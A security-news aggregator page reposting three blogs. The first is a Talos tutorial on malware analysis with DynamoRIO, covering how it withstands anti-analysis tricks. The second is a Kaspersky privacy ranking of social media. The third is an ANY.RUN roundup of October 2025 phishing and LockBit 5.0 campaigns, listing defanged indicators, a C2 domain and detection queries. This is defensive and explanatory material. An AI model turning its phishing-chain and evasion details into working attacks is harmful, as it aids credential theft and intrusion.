Company Blogs – Page 16 – BackBox.org News

Dynamic binary instrumentation (DBI) with DynamoRio

October 30, 2025/in Company Blogs

This blog introduces dynamic binary instrumentation (DBI) and guides you through building your own DBI tool with the open-source DynamoRIO framework on Windows 11.
DBI enables powerful runtime analysis and modification of binaries critical for malware analysis, security auditing, reverse engineering, and performance profiling — all without access to source code.
Learn DynamoRio’s strengths, its practical applications in evading anti-analysis techniques, and step-by-step instructions for developing and testing your own instrumentation clients.
Explore hands-on examples with access to a GitHub repository with sample code to jumpstart your own research and tooling.

Binary instrumentation involves inserting code into compiled executables to monitor, analyze, or modify their behavior — either at runtime (dynamic) or before execution (static) — without altering the original source code. Tools like DynamoRIO, Intel PIN, Valgrind, Frida, and QDBI are commonly used in the field. Static binary instrumentation (SBI) injects code before a binary runs, typically by modifying the file on disk, whereas dynamic binary instrumentation (DBI) operates in memory while the program runs. These techniques are widely used for profiling, debugging, tracing, security analysis, and reverse engineering.

Introduction to DynamoRIO

DynamoRio (DR) is a matured, well-maintained, and frequently updated open-source DBI framework. HP and the Massachusetts Institute of Technology (MIT) developed the first version in collaboration around 2000. Derek Bruening, DynamoRio’s lead developer, described the main concept in his PhD Dissertation in 2004, and further information about the history of DR can be found here.

The main reasons why Talos uses DR for Windows- and Linux-based malware analysis is its low performance impact at execution time, the excellent transparency (the target application does not recognize it is instrumented), and the open source license. Table 1 provides a brief comparison of some of the common instrumentation frameworks used in the industry. Please consider this as a general reference only, as this comparison might be biased by our use cases and may not remain accurate over time due to the ongoing development of the different frameworks. There is also not a best overall toolkit, as it depends on the use case.

It should also be noted that it always depends on the user code how well a certain instrumentation framework works. Even the best framework cannot fix bad user code.

Feature	DynamoRIO	Intel PIN	Frida
Type	DBI	DBI	Dynamic Runtime Instrumentation via API Hooking
Instrumentation granularity	Basic blocks and instructions	Instruction-level (very fine-grained)	Function-level and instruction-level (via memory hooks)
Language (API)	C/C++	C/C++	JavaScript, Python, C
Target platforms	Windows, Linux (limited macOS, Android forks)	Windows, Linux (x86/x64 only)	Windows, Linux, macOS, Android, iOS
Architecture support	x86, x64, ARM (partial), AArch64 (forks)	x86, x64	x86, x64, ARM, ARM64
License	Open source (BSD-like)	Proprietary (free for non-commercial)	Open-source core and commercial license (Frida Pro)
Performance overhead	Medium (2–10× depending on tool complexity)	High (10–20× or more with deep instrumentation)	High (especially with many hooks or on mobile)
Transparency (anti-debug evasion)	Medium (code caching may leak)	Medium to low (can be fingerprinted)	Low (easily detectable by injected libraries or syscalls)
Best use cases	Runtime analysis, instrumentation, sandboxing	Deep instruction analysis, academic research	API hooking, mobile analysis, debugging, live patching
Shellcode detection feasibility	Excellent (module-level execution monitoring)	Good, but more effort needed	Limited (good for allocation and hook, not raw exec detection)
Community and documentation	Active community, used in research and industry	Older, still maintained by Intel	Very active, large community, modern docs

Table 1. DBI framework comparison.

Why use DBI to analyze malware?

Ultimately, the possibilities are only limited by your creativity and malware technology knowledge. However, here are some examples:

Anti-anti-VM detection

Malware samples can be executed on real hardware and still be monitored and analyzed. Alternatively, VM detection functions can be patched at runtime to make sure the malware does not recognize it is running in a VM.

Anti-anti-analyzing techniques

Malware uses many simple but common anti-X techniques (such as anti-debugging, anti-emulation, anti-tamper, anti-disassembler, self modification, etc.) that do not recognize DBI or do not have any impact on the DBI analysis. Many code runtime manipulation techniques which the frameworks are using are either transparent or hidden to the malware or the malware is just not trying to find them. The latter probably applies to the majority of malware today.

De-obfuscation

For example, code traces and memory dumps based on certain conditions can give the analyst a better idea of what the malware is actually doing.

Finding interesting functions within the malware

It is relatively simple to build a shellcode execution detection tool with DBI to find a second stage in a packer by looking for functions which are allocating RWX memory, copying data into it and jumping into these memory areas later. You can also look for cryptographic constants which might be hidden in Mixed-Boolean-Arithmetic functions and are rebuilt at runtime to find unpacking routines or string obfuscation functions. Another example would be to count how often functions are called to find interesting functions which might be used to decode strings.

Dumping memory and gather runtime information

With DBI you can monitor the execution and get runtime values of registers or memory locations. You can also trigger on certain values of registers or other conditions to do dynamic memory dumps at runtime.

Automation

Build an unpacker or config extractor for frequently seen malware families

Inside DynamoRio

Before starting to write your own client, it is important to understand some basics about how DR works under the hood. DR is a process virtual machine (PVM). In the context of DR, this refers to a virtual execution environment that allows DR to dynamically instrument, monitor, and modify the behavior of a running application at the level of individual processes. DR operates entirely in user space (ignoring some experimental features). When DR starts a target application, it injects itself into the process and hooks or intercepts system calls. It takes control before the target application begins execution and starts copying the first basic block(s) of the target application into a code cache, which is a memory region DR has full control over. Then it redirects the execution flow to this code cache. This enables DR to monitor and modify the original instructions of the target application. It relocates addresses and modifies the target application code in a way that it is working semantically exactly like it would if it is executed natively (Figure 2).

Dynamic binary instrumentation (DBI) with DynamoRio — Figure 1. DynamoRio Architecture.

For performance optimization, the basic block code cache is extended with a trace cache (Figure 3). DR monitors and measures the execution of basic blocks in the basic block cache and builds groups of basic blocks which are frequently executed in the same order. At a certain threshold it combines these basic blocks and copies them into the trace cache including the instrumentation code and some inline checks. In reality, it is not a simple counter, it depends on multiple factors. This technique speeds up the execution time due to the fact that less context changes are necessary. In this context a context change means a switch between the target application code and DRs core and dispatching routines.

All these operations should be transparent/hidden to the target application. It should appear to the program as if it were running natively on hardware — unaware of and unaffected by any instrumentation. DR takes care about the following side effects:

Register states: DR saves and restores all registers it modifies so that the application sees the original values.
Stack and memory: Internal data used by DR (e.g., for managing its own state) is hidden from the application.
Instruction semantics: A transformed or instrumented instruction behaves identically to the original — no change in meaning or side effects.
Control flow: Even if DR adds trampolines or modifies jumps, the logical flow of execution remains the same from the program’s point of view.
Signals and exceptions: Any exceptions (e.g., SIGSEGV) or signals are handled in a way that preserves original behavior and context.

More details can be found here.

Writing a simple client

The development environment used:

Windows 11 Version 24H2 (Default Settings)
Visual Studio 2019, CMAKE (incl. in VS)
- The DR homepage recommends VS 2019 for building its source code, for building clients with the latest DR version, but VS 2022 might work in most cases too. If you want to be on the safe side, use VS 2019.
DR 11.3.0
- Download it here, then unzip it to a folder of your choice. These examples use “C:toolsDynamoRIO-Windows-11.3.0”. Later 11 versions should work, too.

The DR release package includes several tools for memory debugging, profiling, instrumentation, legacy CPU simulation, cache simulation and more. See the DR homepage for more details. In this blog post, we will not use these tools, but instead build our own.

When writing your own instrumentation client, you usually run it via “drrun.exe”, which is the DR loader application. The syntax is the following for a 64-bit client and 64-bit target application; for 32-bit, you just use the drrun.exe 32-bit version from the “bin32” directory, rather than the “bin64”.

<DYNAMORIO_INSTALL_DIR >bin64drrun.exe -c "

<DIR_TO_YOUR_CLIENT>client.dll" [client arg1, client arg2, …] –

“<TARGET_APP_DIR>target_app.exe”

The DR client (“client.dll”) is the instrumentation code you are writing to do something with the target application (“target_app.exe”). The “target_app.exe” is the malware which we want to instrument.

While you can also write standalone tools which are not loaded via “drrun.exe”, it is quite complex and out of scope of this tutorial. There are several options to configure the instrumentation process (details here). For this blog we will choose the simplest way via “drrun.exe” and default configurations.

To test the tool chain we will first write a DR “hello world” client (simple_client1). You can find the code on our GitHub repository. All examples in the repository are organized as seen in Figure 4.

They all include the client source code (e.g., client.c), a corresponding CMake file (CMakeLists.txt), and build32/64.bat scripts, which include the CMake build commands and MSYS_build32/64.sh scripts for starting the build process on MSYS2. All of the source code is heavily commented and prints out debugging messages and information of the important steps happening during the instrumentation phases. The code is written in a way that makes it easier to understand how things are working, not for performance or security goals. For example, it lacks some exception or input checks, which you might want to add if your client runs in a productive environment.

IMPORTANT: Make sure you change the CMakeLists.txt file content depending on your installation. In other words, mainly verify/change the directories. Also verify the other scripts to ensure the directories and filenames match your environment.

The build process is usually very easy. Install Visual Studio 2019 incl. CMAKE, verify/edit the directories inside the scripts, and run the MSYS_build32/64.sh script in a MSYS2 shell. The script mainly does the following:

Start the “Developer Command Prompt for VS 2019”.
Execute the build32/64.bat batch file, which includes the build commands.

Note: Most scripts build “Release” versions. You can change the CMAKE_BUILD_TYPE parameter of the build commands in the build32/64.bat to “RelWithDebInfo” for a release with debug information or to “Debug” for a full debug release, but in most cases this is not necessary for normal troubleshooting.

Again, the client library needs to have the same bit width like the target application; in other words, if the target application is 32-bit, you need a 32-bit DR client. If the target application is 64-bit, the client needs to be 64-bit, too. If there is a mismatch, you will get the error message below (Figure 5). This tutorial will only focus on 64-bit apps and clients, but the GitHub repository also contains 32-bit versions of most demos.

Run the client via drrun.exe against a test program. For example:

"C:toolsDynamoRIO-Windows-11.3.0bin64drrun.exe" -c ".buildReleasesimple_client.dll" – ../testsamples/threads/x64/Release/threads.exe

If you can see the “Hello from DynamoRIO client” message after instrumentation of the test application, your development environment works and you can proceed to the next example of a client which will be a bit more useful. If something goes wrong, you can also run the target application with drrun.exe only (e.g., drrun.exe – <target application>).This will tell you if there is an issue with your client or you run into a DR bug. Another useful drrun.exe switch is “-debug”; beside other things, it finds memory leaks in your client. We are aware that one of the demo clients in the repository has a memory leak, but that is on purpose. See the source code for details.

First real instrumentation client

Let’s start to write a simple client that prints out all DLLs loaded by a process at run time. Look at the simple_client2 example from GitHub for the implementation details. Running the client looks like this:

Every client starts execution with the “dr_client_main” function. This is the start function of your client. Here we will do some initialization and you can find the callback register functions. See Figure 8 below for an example.

The callback functions are controlling the custom instrumentation process. In other words, DR is using callback functions for executing the code you want to use during instrumentation. The function names give you a good idea about what they do. For example, in Figure 8, the “drmgr_register_module_load_event” function is registering a callback function “event_module_load_trace_instr” which is then getting called every time a module (e.g., a DLL) is loaded by the target application at runtime. In our simple example code, the “event_module_load_trace_instr” function will just print out the name of the loaded module.

Most of the functions you need are part of DR extensions. These extensions are part of the DR project and they are already included in the DR distribution package (the ZIP file you have downloaded). You do NOT need to install or configure them. They offer higher-level abstractions for commonly needed features, so you don’t have to implement them from scratch. These functions usually start with the name of the extensions (e.g., “drmgr_register_module_load_event” for drmgr functions). Here are some extensions with brief descriptions:

drreg: register stealing and allocating
drsyms: symbol table and debug information lookup
drcontainers: hash table, vector, and table
drmgr: basic instrumentation functions and tools
drwrap: function wrapping and replacing
drutil: memory tracing, string loop expansion
drx: multi-process management, misc. utilities
drsyscall: system call monitoring
drdecode: CPU decoding/encoding library
umbra: shadow memory framework

In this tutorial we will look at “drmgr” and “drwrap”. Let’s have a closer look at these extensions.

DynamoRIO Multi-Instrumentation Manager (drmgr)

It is a helper library designed to make writing DR clients easier, cleaner, and safer.

Drmgr offers the following functions:

Event registration: Simplifies registering for events like bb_event or thread_init
Thread-local storage (TLS): Safely manages TLS slots
Per-thread cleanup: Automatically frees thread-specific memory on exit
Safe initialization: Ensures extensions are initialized in the right order
Avoids conflicts: Handles shared slot allocation so multiple extensions don’t collide

The picture below shows some examples for event registration callback functions included in drmgr. They are called when the corresponding event occurs. The names are more or less self-explanatory.

Drmgr wraps several of the low level functions from dr_events.h. For example, “drmgr_register_bb_instrumentation_event()” wraps “dr_register_bb_event()”. In common, it is simpler and/or more secure to use the functions in drmgr.

The GitHub simple_client3 example is a simple code tracer. For the code trace, we register a callback function which is called for every instruction. To do this, use the insertion_func parameter of drmgr_register_bb_instrumentation_event(). The registered callback function and subfunction then disassembles the instructions and prints it out. The implementation details can be found in the mentioned simple_client3 project. The simple_client3 example also patches a function at runtime. The patching process is described in the next chapter.

Another function you probably always want to register in your client is the exit event callback function.

It is registered via the dr_register_exit_event() function and is used to clean up things when the target application process has exited. For example, it is used to call extension exit functions or free allocated memory (Figure 9).

DynamoRIO drwrap

Drwrap offers helper functions to simplify the runtime patching of the target application functions. For example, it can help wrap a function before (pre) and/or after (post) execution of the function. This means you can either use a pre-wrap function, which could manipulate arguments handed over to the function, or a post-function, which could manipulate the return value of a function in the target application. A good use case would be patching an VM detection routine or an anti-analyzing function in a malware which detects the instrumentation process. That being said, many of the typical anti-analysis tricks malware uses do not work under DR — or DR is actively putting counter measures in place. For most of the common anti-analyzing tricks in malware, you do not need to patch anything. We will talk about the details later on in this blog.

A full example for an instrumentation with drwrap can be found in simple_client3. From a high level overview, it is as simple as this: You first register a drwrap pre- or post-function (e.g., when the module which includes the function you want to patch is loaded). Then the registered function (wrap_post_function()), manipulates the function at runtime. In this example it sets the return value to zero (Figure 10).

This should be enough for a quick intro and overview on how to write DR clients. You can find many more examples and details in the GitHub repository.

If you wrote a useful client and want to share it with the community, we are happy to add it to the ”3rdparty” directory. We are not responsible for the code in this directory, so use it at your own risk.

Vibe coding

Vibe coding for DR clients works alright. If you use it for simple functions, it often works. From Talos’ experience, vibe coding full and complex clients usually doesn’t work. In most cases, it will just crash and you will spend more time cleaning the bugs than saving time with it. The best case scenario is it runs with sub-optimal side effects. However, AI can be an excellent tool to brainstorm which DR function to use for certain tasks or how to get started for a certain use case.

DynamoRio and anti-analyzing techniques

We have built a simple Anti-X pseudo malware without any malicious functions to test DR’s transparency and robustness against common anti-analyzing techniques frequently seen in malware. You can find it in the Anti-X GitHub repository. It includes different anti-debugging techniques, self modifying code, large loops, exceptions, and simple code verification techniques to detect hooks or breakpoints. The self-modifying aspect also changes the control flow graph at runtime to verify that DR can handle this. We provide the source code so you can verify that it does not do any harm to your machine.

Test case: shellcode

This test case decodes a shellcode at runtime and executes it.

Result: No problem for DR. The code is executed as expected. No difference to the native execution without instrumentation.

Test case – SSL/TLS traffic

In this test case we downloaded an info page about our external IP address from “https[://]ifconfig[.]me” to test whether or not we could intercept the TLS traffic.

Result: This works well on most machines we tested it on. Only on very recent Intel Mobile CPUs the download failed with ERROR 12175 (ERROR_WINHTTP_SECURE_FAILURE) if the anti-x application was instrumented. This error usually occurs if the verification of certain security parameters of the TLS connection failed (e.g. the certificate is not valid yet or timed out). Whether this is a new Windows anti-tamper feature or a DR bug is currently unknown. We are investigating this and we will update the blog once we find the root cause. If you have an idea about the root cause or if this occurs on your machine, as well, we would be happy to hear from you.

Test case: Code validation

In this test case, we are verifying the CRC32 of the bytes of a certain function in memory. If any byte of the function gets changed (e.g., a debugger sets a breakpoint [0xCC]), the CRC32 would be different than calculated over the native function.

Result: The CRC32 value does not change if the target application is instrumented.

Test case: Simple anti-debugger tests

The first test (IsDebuggerPresent) should be self-explanatory, and the second uses the threat context object to check if one of the debug registers (DR0-3) is set, which would indicate a hardware breakpoint.

Result: None of the tests detect that the application is instrumented.

Test case: Exceptions

In this test case, we trigger an exception which is handled by the application to investigate if it has any side effects to the target application.

Result: No problem. The application is executed the same way without instrumentation.

Test case: Runtime measurement

This test checks if the execution time between two code sections is too long. This detects debuggers or anything that significantly delays the code execution.

Result: As long as you do not do foolish things, such as insert too much code at runtime or instrument a large loop inside the target application, DR is usually fast enough to avoid detection. Of course, this depends on the kind of instrumentation you do and on how aggressive the timer is set. DR usually adds a delay of between 2 – 10 times that of the original execution time.

Test case: Large loops

Result: Similar to the above, you don’t want to instrument something inside this loop, but anything outside is no problem.

Test case: Self-modifying code

In our self-modifying code, we are doing multiple things:

Pre-patching code: This means we patch the code soon before it is executed.
Post-patching code: This means we patch the code after it is executed, and the next time this function is called the patch will be executed instead of the original code.
Interleave jumps: We jump in between the bytes of an instruction, which converts the bytes of the instruction into another instruction. In our case a “mov” instruction becomes a “jmp” instruction. This not only changes the instruction, but also the control flow graph (CFG) at runtime. We want to verify if this has an impact on the Basic Block and Trace Cache mentioned above.

First, let’s have a closer look at the self-modifying code which we are using. Here you can see the pre-patch code. It converts the original “jmp end_label” instruction to a “mov rax,3” instruction. Once again, it is not only the instruction that is being changed; the control flow graph (CFG) is also being modified.

The next one is the post-patch, which is similar to the pre-patch and overwrites a “mov rax,1234” with a “mov rax,1”, but this modification is done after the code was executed. This means when the function is called the next time, the values in rax and rbx are not equal anymore, the comparison later fails, and the jump is not taken.

Last but not least, in the middle of the function, we do the interleave trick. The “test rax,rax” will set ZF=0 (RAX = 3) which means the “jz” will not be taken and the “jnz” will be taken. Some static disassemblers get confused by this and disassemble the byte starting with “048h, 0C7h, …” to a “mov rax, 0FFFFFFFF90900CEB”, because they do not realize that these bytes are never executed.

Only after manually converting it, the disassembler shows the jmp (= EB 0C), in other words the byte we jnz’ed to. Again, we want to see if DR’s code cache generator or dispatcher gets confused by this.

Result: The self-modifications are working as expected. DR executes everything like it would on a real CPU. These self modifications were no problem for DR.

The screenshot below is from the simple_client3 DR client run against the anti-x target application mentioned above, which is doing a code trace over the self modifying function. We deleted all messages from the client output, except the instruction related output.

The left side is the instruction trace showing when the self modifying function was called the first time. The right side is the second call of the self modifying function.

Summary

DR offers a wide range of built-in capabilities to counter common malware anti-analysis techniques. However, some methods can still detect or circumvent DR; these were intentionally excluded from this blog to avoid aiding malware authors. In this post, we introduced how to use DR for malware analysis and demonstrated how it can help bypass typical anti-analysis measures with minimal effort. We hope this helps readers get started with DR and encourages you to contribute to our GitHub project. Have fun exploring DBI and DynamoRIO!

Cisco Talos Blog – Read More

Which social media are the most privacy-oriented in 2025 | Kaspersky official blog

October 29, 2025/in Company Blogs

Mass user migrations between social media services have become a more frequent phenomenon in recent years. Most of the time, this happens not because users are drawn to a cool new social media site, but because the ones that have been around for a while suddenly become a much worse place to be. Users are driven away by changes in ownership, post-sorting algorithms, and aggressive data processing policies, such as using content for AI training.

If you’re thinking about migrating, be sure to consider how social media, video hosting services like YouTube and Twitch, and community-based sites like Reddit and Quora are handling user information in 2025. The experts at Incogni, in their Social Media Privacy Ranking 2025, conducted a detailed analysis of the current state of affairs.

Fifteen leading platforms were compared across multiple criteria: from data collection and resale to the readability of their privacy policies and the number of fines they’ve been hit with for privacy violations. In short, Pinterest and Quora stood out for their strong concern for users’ privacy, while TikTok and Facebook ranked at the bottom. But let’s be honest, we rarely choose which social media to post photos or discuss stamp collecting on based on how many fines it has been handed. Besides, this is hardly an apples-to-apples comparison, as we don’t typically expect to have fully private conversations on social media, unlike on chat apps. That’s why we’ve dedicated a separate post to the privacy of popular messaging apps. Today, we decided to review a summary of the Incogni study that focuses exclusively on social media, video hosting services, and community sites. We’ll only consider practical, everyday criteria. And for simplicity, we’ll refer to all these services as “social media” from here on out.

Overall privacy risk rankings

In the overall ranking that accounts for all criteria, the leaders outperform the laggards by more than a two-fold margin in points, with fewer points indicating higher privacy.

Pinterest 12.38
Quora 12.96
Twitch 13.51
LinkedIn 14.89
Reddit 15.19
X/Twitter 17.04
YouTube 18.52
Instagram 22.41
TikTok 23.01
Facebook 28.72

It’s worth noting that up to 10 points could be lost due to fines for violating various jurisdictions’ personal data and storage location regulations, such as GDPR and CCPA. The study accounted for fines not only in Europe and the U.S., but also in other major countries, spanning from Brazil to Turkey. Data breaches across each social media service’s entire history were also factored in.

Facebook amassed a hefty 9.6 penalty points, a key factor behind its bottom ranking. The second-to-last spot went to X, with six penalty points; no one else exceeded 4.4.

Practical privacy

If we only consider criteria like data collection on the website and in the app, the use of information for AI training, the number of privacy settings, and the visibility of personal data to other users, the top and bottom of the rankings change significantly:

Twitch 5.85
Quora 7.54
Pinterest 9.01
LinkedIn 9.36
Reddit 9.43
X 9.68
Instagram 11.92
YouTube 12.85
Facebook 12.94
TikTok 13.00

Interestingly, the ranking kept intact three distinct groups — leaders, laggards, and a middle pack — though some reshuffling occurred within these tiers. The bottom placements for TikTok and Facebook come as no surprise to anyone following cybersecurity news, but LinkedIn’s relatively high ranking was unexpected. However, it’s better not to limit ourselves to ranking numbers, and to look at the platforms’ specifics in key categories.

AI training

In recent years, one of the most contentious issues has been the use of user content to train neural networks. Many people don’t want to just hand over their texts and photos to Big Tech companies, so the ability to opt out of this training is important to them.

Of the social media reviewed, only Twitch makes no claim at all about training AI on user content. All the others plan to either train their own in-house AI or provide training services to partners. Facebook and YouTube plan to do both. You can opt out of this in the settings on Pinterest, X, Quora, and LinkedIn. On YouTube, the opt-out is partial: it’s only available for video creators and only applies to the training of third-party AI not owned by Google.

Data collection for advertising

All platforms aggregate user data for various purposes, from product improvement to showing ads. Some even explicitly state that they may sell this data. Information is collected through websites and mobile apps, and includes not only what users write in their posts or profiles, but also IDs, geolocation data, data about activity in apps and on websites (both the company’s own and external pages), and much more.

After reviewing the data processing policies, the researchers concluded that Twitch, LinkedIn, TikTok, YouTube, Facebook, and Instagram all collect and process sensitive personal information for advertising. Only Pinterest “sells” information (as defined by the CCPA). However, far more social media platforms “share” information with partners: LinkedIn, Pinterest, Quora, Twitch, X, and YouTube all do this. Pinterest, Reddit, and Quora also share data on users’ in-app search queries with third parties.

The social media rankings in the data collection category differ from the overall placement: Quora, Reddit, and X are the least data-hungry. They’re followed by TikTok, LinkedIn, Twitch, Facebook, and Instagram. The laggards in this category are YouTube and Pinterest. At the same time, the mobile apps “greediest” for various user data are Facebook and Instagram, which collect 37 out of 38 possible types of data on user devices. They’re followed by LinkedIn with 31 data types, and YouTube and Pinterest with 27 each.

Privacy settings

The researchers compared the number of privacy settings across social media and checked whether the most secure option was selected by default. Here, Pinterest is the absolute leader, offering a high level of privacy in its settings by default and collecting little data during account creation. Close behind are Quora, Reddit, and Twitch, which show a similar profile.

Surprisingly, Facebook, YouTube, and LinkedIn rank mid-list, each providing a substantial array of privacy settings. Instagram, X, and TikTok have the fewest privacy options and the worst default settings.

Almost all platforms let you configure your account to show a minimum of data to others. Public exposure can be minimized most effectively on Pinterest, Facebook, and TikTok, while LinkedIn and X are the worst in this regard.

Takeaways

No social media platform reviewed achieved an ideal rating. Privacy leaders such as Twitch and Quora focus on specific content types and aren’t general-purpose social media services, while the most popular social networks happily collect and utilize user data. LinkedIn has managed to strike a balance between privacy settings and data collection. However, its image as a professional social network and the inability to partially hide personal data restrict its broader application.

We recommend double-checking the privacy settings for all the social media you use. Our free Privacy Checker service can help you with that.

What other privacy concerns might arise on social media? Read about them in our other posts:

Scammers with blue checkmarks on Twitter X

Knock-knock, let’s hack TikTok

Fake LinkedIn notifications

Mastodon: yet another social network — with a difference

The Fediverse: what is it, what’s it for, and how does it work?

Kaspersky official blog – Read More

Major Cyber Attacks in October 2025: Phishing via Google Careers & ClickUp, Figma Abuse, LockBit 5.0, and TyKit

October 29, 2025/in Company Blogs

Phishing campaigns and ransomware families evolved rapidly this October, from fake Google Careers pages and ClickUp redirect chains to Figma-hosted credential theft and LockBit’s move into ESXi and Linux systems. ANY.RUN analysts also uncovered TyKit, a reusable phishing kit hiding JavaScript inside SVG files to steal Microsoft 365 credentials across multiple sectors.

Each of these threats shows how attackers are increasingly abusing legitimate cloud platforms, layering CAPTCHA checks and redirects to bypass detection. All cases were analyzed inside ANY.RUN’s Interactive Sandbox, revealing execution flows and behavioral indicators missed by static tools; insights SOC teams can turn into actionable detection logic.

Let’s break down how these attacks unfolded, who they targeted, and what security teams can learn to strengthen their defenses before the next wave hits.

1. Google Careers Phishing Campaign: Legitimate Platforms Used to Steal Corporate Credentials

Post on X

ANY.RUN analysts uncovered a phishing campaign posing as Google Careers, where attackers combined a Salesforce redirect, Cloudflare Turnstile CAPTCHA, and a fake job application page to steal corporate credentials. The campaign primarily targets employees in technology, consulting, and enterprise service sectors, exploiting the trust people place in well-known brands and cloud services.

Unlike typical phishing kits, this campaign weaves together multiple legitimate platforms to make the flow appear authentic, slipping through filters and reputation-based security tools. Once credentials are entered on the fake Google Careers portal, they’re exfiltrated to the command-and-control (C2) server, such as satoshicommands[.]com, enabling further compromise of work accounts, client data, and internal collaboration tools.

For organizations, this attack creates a chain reaction: compromised mailboxes, lateral movement across SaaS ecosystems, and potential exposure of customer or partner data; all while evading detection from traditional tools that trust the Salesforce and Cloudflare domains in the redirect path.

See full execution chain exposed in 60 seconds

*Fake Google Careers page displayed inside ANY.RUN sandbox*

Adversaries in this campaign misuse legitimate platforms to host phishing flows that evade automated detection. The combination of trusted domains and multi-step redirection makes these attacks particularly hard to catch without behavioral visibility.

Below are ready-to-use Threat Intelligence Lookup queries to expand visibility, uncover infrastructure overlaps, and convert findings into detection rules, not just IOCs:

Google-like application domains: domainName:”apply.g*.com” OR domainName:”hire.g*.com”

Vercel deployment patterns: domainName:”puma-*.vercel.app” OR domainName:”hiring*.vercel.app”

YouTube TLD impersonation: domainName:”hire.yt”

C2 domain: domainName:”satoshicommands.com”

*Google Careers phishing infrastructure tracking with TI Lookup*

Gathered IOCs:

188[.]114[.]97[.]3

104[.]21[.]62[.]195

hire[.]gworkmatch[.]com

satoshicommands[.]com

2. Figma Abuse Leads to Microsoft-Themed Phishing Campaigns

Post on X

ANY.RUN analysts identified a growing wave of phishing attacks abusing Figma, where public design prototypes are used to host and deliver Microsoft-themed credential theft campaigns. This trend highlights a serious blind spot in corporate defenses; the exploitation of trusted cloud platforms that security systems often whitelist by default.

Attackers are turning to Figma because it offers everything they need for a convincing delivery: it’s a widely trusted domain, allows anyone to publish and share prototypes publicly without authentication, and renders interactive content directly in the browser. That makes it perfect for embedding phishing elements, buttons, links, and visuals that look completely legitimate, while bypassing traditional email filters and URL reputation checks.

Across multiple samples analyzed last month, 49% of these attacks were linked to Storm-1747, followed by Mamba (25%), Gabagool (2%), and several smaller operators. Each uses Figma as the initial hosting vector, sending victims “document” invitations that appear genuine and trigger the phishing flow upon interaction.

Check real case: Figma abuse leading to fake Microsoft login page

*Full execution chain of Microsoft-themed phishing attack with Figma abuse*

Phishing email invites the victim to view a “shared document.”

Figma prototype hosts a fake collaboration page within the figma.com domain.

Embedded link triggers a fake CAPTCHA or Cloudflare Turnstile widget.

Redirection leads to a Microsoft-themed login page that collects credentials.

Inside ANY.RUN’s Interactive Sandbox, analysts can safely detonate these links, visualize the full redirection flow, and expose the hidden credential capture mechanism; something static filters miss entirely. This interactive approach gives SOC teams real behavioral context for tuning detections and reduces investigation time when facing similar cloud-hosted phishing chains.

To uncover additional campaigns abusing Figma and connected infrastructure, use the following TI Lookup query:

domainName:”figma.com” AND threatName:”phishing”

*ANY.RUN Sandbox analyses of phishing attacks with Figma abuse*

This search surfaces recent submissions that share behavioral traits, letting SOC teams expand visibility and transform isolated IOCs into behavioral detection rules.

Gathered IOCs:

9a4c7dcf25e9590654694063bc4958d58bcbe57e5e95d9469189db6873c4bb2c
Dataartnepal[.]com

3. LockBit 5.0: New Variant Targets ESXi and Linux, Putting Critical Infrastructure at Risk

Post on X

Researchers spotted a major update from the LockBit group on its sixth anniversary: LockBit 5.0. Unlike earlier releases, this version targets not only Windows but also Linux and VMware ESXi, meaning attackers are now going after core infrastructure. A single successful intrusion can take down many virtual machines at once and knock whole systems offline.

LockBit 5.0 introduces stronger obfuscation, flexible configuration files, and enhanced anti-analysis techniques, making it significantly harder to detect and dissect. The campaign primarily targets enterprise networks, managed service providers, and government systems across Europe, North America, and Asia, where virtualized environments form the backbone of daily operations.

A single LockBit 5.0 intrusion can shut down dozens of servers simultaneously, halting production systems, paralyzing data centers, and causing prolonged outages with severe financial and reputational consequences.

*New LockBit variant targeting not only Windows, but also ESXi and Linux*

Technical Overview of LockBit 5.0 Variants

VMware ESXi

View real-world analysis of VMware ESXi variant

The most critical of the three builds. A dedicated encryptor for hypervisors capable of disabling multiple virtual machines at once. Its CLI closely mirrors the Windows version but adds datastore and VM config targeting, enabling it to halt operations across entire host environments in seconds.

Windows

View real-world analysis of Windows variant

*LockBit 5.0 ransom note exposed inside ANY.RUN sandbox*

The mainline variant runs with DLL reflection, supports both GUI and console modes, encrypts local and network drives, and performs cleanup actions like deleting shadow copies, stopping critical services, and clearing event logs. It drops a ransom note linking to LockBit’s live negotiation portal.

Linux

View real-world analysis of Linux variant

A lightweight console-based encryptor that replicates Windows behavior with added mount point filters, disk wiping, anti-analysis routines, and region-based execution restrictions to evade detection and avoid unwanted publicity in certain locales.

Inside ANY.RUN’s Interactive Sandbox, analysts can trace how the new encryptors behave across each operating system, from memory injection and service termination to encryption logic and ransom note delivery, helping SOC teams identify new TTPs early and enrich detection logic with behavioral indicators, not just static IOCs.

Use the following Threat Intelligence Lookup queries to identify LockBit 5.0 activity and enrich your SOC’s detection coverage with live sandbox data:

ESXi Lockbit 5.0: commandLine:”vmware -v”

Linux Lockbit 5.0: filePath:”^/home/user/.local/share/evolution/tasks/ReadMeForDecrypt.txt$”

Windows Lockbit 5.0: filePath:”^C:\ReadMeForDecrypt.txt$”

These queries help analysts pivot from OS-specific artifacts to global attack patterns, connecting infrastructure and payload updates across submissions.

What Security Teams Should Do Now:

Boost visibility: Combine endpoint and network telemetry with behavior-based monitoring. Use ANY.RUN’s sandbox and TI Lookup to detect evolving LockBit builds earlier, enrich IOC sets, and reduce MTTR by up to 21 minutes.

Harden access: Enforce MFA for vCenter and admin accounts, restrict direct Internet access to ESXi hosts, and route all management connections through a secure VPN.

Ensure resilience: Maintain offline backups, test recovery workflows regularly, and rehearse ransomware playbooks to minimize downtime in case of a breach.

4. ClickUp Hosts Used as Phishing Redirectors

Post on X

ANY.RUN analysts found attackers abusing ClickUp to host redirect pages and hide phishing flows. In many cases ClickUp is the visible domain the victim clicks, then the chain moves through other trusted services (like Microsoft’s microdomains and Azure Blob Storage) before landing on a credential-harvesting page.

*Attack execution chain using legitimate services*

Attackers use ClickUp because public docs and prototypes are quick to create, look legitimate in inboxes, and come from a domain most organizations don’t block. Besides ClickUp, they also exploit microdot-style Microsoft endpoints and Azure Blob Storage to host the final phishing page, making the whole flow look like normal collaboration traffic.

Check a real-world case that exposes the full attack chain in ~1 minute

*Fake Microsoft login page displayed inside ANY.RUN sandbox*

Phishing email: Invites victim to view a shared ClickUp “document.”

ClickUp redirect page: Host or shortener on doc[.]clickup[.]com forwards the user.

Microsoft microdomain hop: A forms or doc endpoint (e.g., forms.office.com or other msft microdomains) is used to add legitimacy.

Azure Blob Storage: Final hosting for the fake Microsoft login page.

Credential exfiltration: Captured credentials POST to attacker-controlled collector.

Because every domain in the chain belongs to a legitimate provider, these campaigns are hard to detect. Filters and whitelists that trust SaaS vendors often let the traffic pass, and users are less likely to be suspicious when the URL looks familiar.

